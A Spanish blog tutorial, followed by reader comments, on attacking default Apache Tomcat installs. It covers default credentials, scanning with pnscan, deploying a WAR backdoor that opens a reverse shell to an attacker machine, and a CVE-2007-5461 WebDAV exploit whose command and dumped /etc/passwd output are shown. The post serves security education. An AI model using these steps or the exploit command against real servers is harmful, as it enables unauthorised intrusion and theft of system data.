Apache Tomcat es uno de los servidores web para Java más conocidos y utilizados, es liviano, fácil de instalar y muy cómodo a la hora de desarrollar aplicaciones web con Java, además es posible utilizarlo para desarrollo de aplicaciones un poco más complejas que la típica aplicación web con JSP, ya que es posible integrar en él implementaciones como MyFaces, Primefaces, RichFaces y otras implementaciones de JSF (librería estándar, definida en J2EE para el desarrollo de aplicaciones web dinámicas utilizando Java).
Todo esto esta muy bien y de hecho muchos desarrolladores de aplicaciones web, suelen utilizarlo en su ordenador para poder desarrollar rápido y poder centrarse en lo que realmente les interesa: Que la lógica de sus páginas y clases Java funcione como debería. Así de simple… a un desarrollador normalmente no le preocupa que el servidor Tomcat que ha instalado en el ordenador que su empresa le ha asignado, sea seguro, de hecho, muchas veces ni se le pasa por la cabeza la palabra seguridad, “Que puede pasar? Todas las pruebas las hago en mi local”. Tiene sentido…
Sin embargo, Supongamos por un instante la siguiente situación:
El desarrollador ha instalado Apache Tomcat en su ordenador con todas las opciones por defecto, ya que lo único que busca es probar su código. Supongamos además, que en la red interna hay alguien “curioso” o tiene intensiones de realizar algún tipo de actividad maliciosa (como sabotaje), que pasará? Cuanto es 2+2? No solamente hay un riesgo de los datos que el desarrollador tenga en ese ordenador, sino que también, un potencial atacante podrá acceder y modificar el código de la aplicación web que el desarrollador intenta probar. Las estadísticas no mienten, un alto porcentaje de los ataques a empresas provienen desde el interior.
Ahora bien, que puede hacer un atacante con una instalación de Tomcat por defecto? Aquí van un par de ejemplos
Instalación de una Puerta trasera en Apache Tomcat
Desde la interfaz de administración de Apache Tomcat, es posible desplegar un fichero WAR (Web Archive) que posteriormente podrá estar disponible como una aplicación web más del servidor, cuando se instala Tomcat, por defecto vienen definidos una serie de roles y usuarios que pueden acceder a dicha interfaz, dicha información se encuentra almacenada en el fichero <TOMCAT_HOME>/conf/tomcat_users.xml los contenidos de dicho fichero suelen estar en texto claro y aunque en las versiones más recientes, algunas cuentas de usuario pueden venir desactivadas, en el caso de Apache Tomcat 5/6 el contenido seria similar al siguiente:
| <?xml version=’1.0′ encoding=’utf-8′?>
<tomcat-users> <role rolename=»tomcat»/> <role rolename=»role1″/> <role rolename=»manager»/> <role rolename=»admin»/> <user username=»tomcat» password=»tomcat» roles=»tomcat»/> <user username=»both» password=»tomcat» roles=»tomcat,role1″/> <user username=»role1″ password=»tomcat» roles=»role1″/> <user username=»admin» password=»admin» roles=»admin,manager»/> </tomcat-users> |
Aunque un atacante no pueda acceder directamente al servidor web y leer este fichero, será muy sencillo para él acceder si este fichero de configuración no ha sido debidamente personalizado por el desarrollador, incluyendo obviamente, contraseñas más robustas.
Con el fin de optimizar el proceso de explotación, existe un exploit bastante efectivo para encontrar, en un segmento de red determinado, instancias de Apache Tomcat en ejecución y con una configuración por defecto como la que se ha enseñado antes, dicho exploit se encuentra aquí: http://www.exploit-db.com/exploits/18619/
Se trata de dos herramientas bastante útiles para localizar instancias vulnerables y posteriormente explotarlas. Una vez descargado el exploit, hay dos ficheros comprimidos: pnscan-tomcat.tar y tomcatremote.zip el primero permite realizar un escaneo de un segmento de red determinado para encontrar servidores Tomcat vulnerables y el segundo permite desplegar un WAR que ejecutará una conexión hacia una máquina determinada (la máquina del atacante probablemente).
Detección de Servidores Tomcat vulnerables
PNScan es una herramienta bastante sencilla que permite realizar escaneos en todo el segmento de red en busca de un servicio concreto, en este caso, es posible buscar instancias de Tomcat que se encuentran en ejecución y además que tengan usuarios y contraseñas por defecto. Para instalarlo, simplemente es necesario ejecutar el comando make SYSTEM donde SYSTEM puede ser lnx (Linux con GCC), gso (Solaris con GCC) o sol (Solaris con Forte C)
Como siempre, si se desea instalar directamente en el sistema, para que el ejecutable sea accesible desde cualquier ubicación, basta con ejecutar: make install
Ahora, tal como enseña la siguiente imagen, el proceso de escaneo ha podido encontrar dos servidores web Tomcat con usuario admin y contraseña admin, por lo tanto hay una alta probabilidad de que puedan ser comprometidos fácilmente.
Desplegado la puerta trasera en el servidor
El siguiente paso, es utilizar el script que se encuentra incluido en el directorio tomcatremote con el nombre tomcat.pl. Este script intentará conectar con el servidor y autenticarse en la interfaz de administración como Admin, con el fin de desplegar un WAR que contendrá, un fichero JSP que al ser invocado desde el navegador, creará una shell reversa entre el servidor web y el atacante.
Su uso es muy simple, solamente es necesario proporcionar los siguientes parámetros:
- Dirección IP del servidor web vulnerable.
- Puerto del servidor web (típicamente 8080)
- Dirección IP del atacante
- Puerto en la máquina del atacante donde recibir la conexión.
- Plataforma del sistema objetivo (windows o linux).
Con estos parámetros es posible ejecutar el exploit e intentar conseguir una shell reversa, tal como se enseña en la siguiente imagen, donde la máquina del atacante tiene la IP 192.168.1.33 y la víctima 192.168.1.10
En la imagen anterior, cada consola esta numerada con el fin de explicar los pasos de ejecución, en primer lugar, se ejecuta el exploit contra el servidor web vulnerable, la conexión reversa es ejecutada y recibida por el relay que se ha iniciado en el puerto 443 utilizando socat, posteriormente el punto final de la comunicación es alcanzado en el puerto 80 de la máquina del atacante recibiendo la shell reversa utilizando netcat.
NOTA: para mayor información sobre el uso de SOCAT y Netcat para realizar varios tipos de conexiones ver publicaciones anteriores de este blog:
WebDAV de Apache Tomcat Vulnerable
Nuevamente, partiendo del supuesto anterior de que un servidor web tomcat tiene una configuración por defecto (con usuarios y contraseñas) también es posible que las extensiones de WebDav que incluye Tomcat sean una puerta de acceso para un atacante. Como se recordará de publicaciones anteriores, WebDav permite extender las funcionalidades estándar del protocolo HTTP implementando algunas características que no se encuentran incluidas por defecto en el protocolo, casi todos los servidores web del mercado tienen implementaciones de WebDav y evidentemente, Apache Tomcat no es la excepción.
Aunque en la versión 6.0 y superiores, no se encuentra habilitado por defecto, en versiones anteriores, todas las instalaciones de Apache Tomcat vienen con la implementación de WebDav instalada y si por el motivo que sea, el desarrollador la habilita sin modificar las cuentas de usuario por defecto, un atacante puede utilizar muy fácilmente esta instancia de WebDav para subir ficheros maliciosos.
Por ejemplo, la siguiente imagen, enseña el uso de cadaver para conectarse con el WebDav del servidor web Tomcat utilizando las credenciales por defecto del usuario tomcat.
Ahora, utilizando el comando put (y con un poco de suerte con el acceso de lectura y escritura habilitado) se puede subir un fichero al servidor web. Aunque subir una puerta trasera con JSP pueda ser la primera idea que se nos viene a la mente, desafortunadamente (para el atacante, por supuesto) el Servlet que instancia WebDav no permite el procesamiento de ficheros con contenido dinámico, esto quiere decir, que si se sube un fichero con contenido JSP al servidor webdav, este solamente enseñará el contenido en “texto” claro, como si de un documento HTML se tratará. No obstante, algunas implementaciones de WebDav del servidor Apache Tomcat tienen una vulnerabilidad de Remote File Disclosure, lo que permite a un atacante leer ficheros del servidor de forma arbitraria.
Existe un exploit disponible en la siguiente ruta: http://www.exploit-db.com/exploits/4530/ el cual permite explotar la siguiente vulnerabilidad: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-5461 (que se ha explicado anteriormente)
El resultado es el siguiente:
| #perl -X 4530.pl 192.168.1.10 /webdav /etc/passwd tomcat tomcat
Apache Tomcat Remote File Disclosure Zeroday Xploit kcdarookie aka eliteb0y / 2007 Launching Remote Exploit… Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 1427 Date: Wed, 23 Jan 2013 22:10:24 GMT Connection: close root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false messagebus:x:103:106::/var/run/dbus:/bin/false avahi:x:104:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false usbmux:x:105:46:usbmux daemon,,,:/home/usbmux:/bin/false saned:x:106:115::/home/saned:/bin/false hplip:x:107:7:HPLIP system user,,,:/var/run/hplip:/bin/false Debian-gdm:x:108:116:Gnome Display Manager:/var/lib/gdm3:/bin/false avahi-autoipd:x:109:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false adastra:x:1000:1000:adastra,,,:/home/adastra:/bin/bash sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin haldaemon:x:111:118:Hardware abstraction layer,,,:/var/run/hald:/bin/false sslh:x:112:120::/nonexistent:/bin/false smmta:x:113:121:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false smmsp:x:114:122:Mail Submission Program,,,:/var/lib/sendmail:/bin/false timidity:x:115:123:TiMidity++ MIDI sequencer service:/etc/timidity:/bin/false privoxy:x:116:65534::/etc/privoxy:/bin/false ntp:x:117:125::/home/ntp:/bin/false cl-builder:x:118:126::/usr/share/common-lisp/:/bin/false bind:x:119:127::/var/cache/bind:/bin/false nxpgsql:x:1002:1002:NeXpose PostgreSQL User:/opt/rapid7/nexpose/nsc/nxpgsql:/bin/sh rwhod:x:120:65534::/var/spool/rwho:/bin/false mysql:x:121:128:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:122:129:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash |
Sin duda, esta vulnerabilidad puede ser utilizada por un atacante para recolectar toda la información que pueda para posteriormente, llevar a cabo ataques organizados contra su víctima.
En la próxima publicación, más vulnerabilidades en servidores web.
Seguridad en Sistemas y Técnicas de Hacking. TheHackerWay (THW) 
Buen Tutorial !! Cada vez mejor q el anterior.
Me gustaMe gusta
Hola,
Excelente tutorial!!! Estaba haciendo una prueba para aprender pero observo que el exploit que comentas tiene un fallo pero no consigo identificar porque no imprime correctamente el contenido del fichero, ¿tuviste que modificar alguna línea del código?
Saludos,
Me gustaMe gusta